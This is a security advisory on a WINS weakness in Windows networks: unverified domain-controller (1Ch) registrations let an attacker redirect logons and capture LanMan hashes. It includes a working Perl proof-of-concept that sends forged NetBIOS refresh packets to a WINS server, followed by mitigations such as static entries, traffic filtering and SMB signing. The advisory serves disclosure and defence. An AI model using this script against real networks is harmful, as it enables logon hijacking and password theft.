COMMAND

    WINS

SYSTEMS AFFECTED

    Windows

PROBLEM

    WINS is definitely not a security mechanism, WINS is a replacement
    for NBNS,  or NetBIOS  Name Services  from Ungermann-Bass  and the
    late 80's LANMAN environments.   Its strictly intended to  prevent
    the  old  broadcast  storms  some  of  us  may  remember having to
    fire-fight.

    David Byrne found following.  After playing around with some  WINS
    problems  he  had,  he  discovered  something that doesn't seem to
    bother very  many people.   WINS does  nothing to  verify the  1Ch
    (domain controllers)  registrations sent  to it.   This allows  an
    attacker to  overwrite some  or all  of the  Domain Controllers in
    the record.  The new entries could be pointing at a box that  will
    participate in the logon process long enough to capture user names
    and passwords. If the passwords  are only hashed with LanMan  (not
    NTLM),  they  can  be  easily  broken  with  L0phtCrack.   A  less
    malicious problem  can occur  if someone  brings up  a server that
    incorrectly thinks it is a Domain Controller.  Although the server
    cannot participate  in the  domain, it  will register  itself with
    WINS in  the 1Ch  record and  workstations will  still send  logon
    requests to it.

    Attached is a PERL script  that can demonstrate the problem.   Use
    it cautiously.

    use Socket;

    $WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
    $DomainName = "AAADUMMY"; #Must be all caps
    $SequenceNumber = 0x8000;
    socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";
    $destAddress = inet_aton($WINSAddress);
    $destPort = sockaddr_in(137, $destAddress);

    for ($i=1;$i<=25; $i++)
	    {SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}

    sub Sequence
    {
	    my ($high, $low, $str);
	    $high = $SequenceNumber >> 8;
	    $low = $SequenceNumber % 256;
	    $SequenceNumber += 2;
	    $str = chr($high) . chr ($low);
	    return $str;
    }

    sub SendRelease
    {
	    my ($tempname, $data);
	    $tempname = NetBIOSName ($_[0], $_[1]);
	    $data = Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" . $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x20\x00" . $_[2];
	    send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
    }

    sub SendRefresh
    {
	    my ($tempname, $data);
	    $tempname = NetBIOSName ($_[0], $_[1]);
	    $data = Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" . $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe0\x00" . $_[2];
	    send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
    }

    sub NetBIOSName
    {
	    my ($c, $ord, $high, $low, $tempname);
	    while ($_[0] =~ /(.)/g)
	    {
		    $c++;
		    $ord = ord ($1);
		    $high = $ord >> 4;
		    $low = $ord % 16;
		    $tempname .= chr($high +65) . chr($low +65);
	    }
	    for (;$c<15;$c++)
		    {$tempname .= "\x43\x41"}
	    $high = $_[1] >> 4;
	    $low = $_[1] % 16;
	    $tempname .= chr($high +65) . chr($low +65);
	    return $tempname;
    }

    The only situation this scenario works is user logon from Windows
    95/98 host.  This is known, documented problem.

    The fact that the NT Domain Authentication environment relies upon
    NetBIOS machine types (e.g. 1Ch) to determine whom to direct logon
    attempts to is not a  security design, but simply the  LANMAN-way.
    It was never secure from hijacking unless everyone was polite  and
    didn't   do   what   you   noticed   (implemented   in   Samba  by
    Ashton/Leighton/Allison so Samba could participate *correctly*  in
    an NT Domain).

SOLUTION

    The best work around  we could think of  is to use static  entries
    for records that  are sensitive (there  are probably more  besides
    1Ch).  Domain Controllers shouldn't be changed very often, so  the
    management work would be minimal.  When contacted Microsoft, David
    was told that they were aware  of this, but did not consider  it a
    significant problem.  They confirmed that static records were  the
    best solution.  MS's answer is Active Directory, Kerberos and DNS.

    MS recommends to filter WINS traffic to prevent WINS from any  DoS
    and spoofing attacks.

    If you rely  upon WINS to  enforce your authentication  realm then
    you  are  sorely  misguided.   Anyone  who installed Win95's first
    releases   into   NT   Domains   has   probably   experienced  the
    unreliability  of  WINS  to   maintain  Browse  Masters  and,   by
    extension, the loss of an  authenticating DC due to a  conflicting
    client broadcast.  There are  good reasons why MS dropped  further
    WINS development.

    Static entries only prevent entries from being over-written,  they
    don't  prevent  the  arguments  between  an  insistent box (e.g. a
    mal-configured Samba Server or an errant Win9x box) and those that
    believe themselves  to be  who they  think they  are.   They won't
    prevent  boxes  from  disappearing  from  the network, or segments
    from believing someone other than the WINS server.  They can  also
    cause  other  problems.  NT  4.0  SP4  introduced  the  ability to
    immediately  delete  dynamic  WINS  entries (not available through
    WINS Manager prior to SP4, only via a tool called WINSCL.exe),  or
    Tombstone  out  dynamic  WINS  entries  that  aren't  desired  (or
    malicious attempts to DoS a DC via WINS). For more details, see;

        http://support.microsoft.com/support/kb/articles/Q184/6/93.asp

    SMB-signing, OTOH, can make NT/W2K-only environments resistant  to
    this type  of tampering  (not the  WINS servers,  but the client's
    being fooled into talking to someone other than the *real thang*).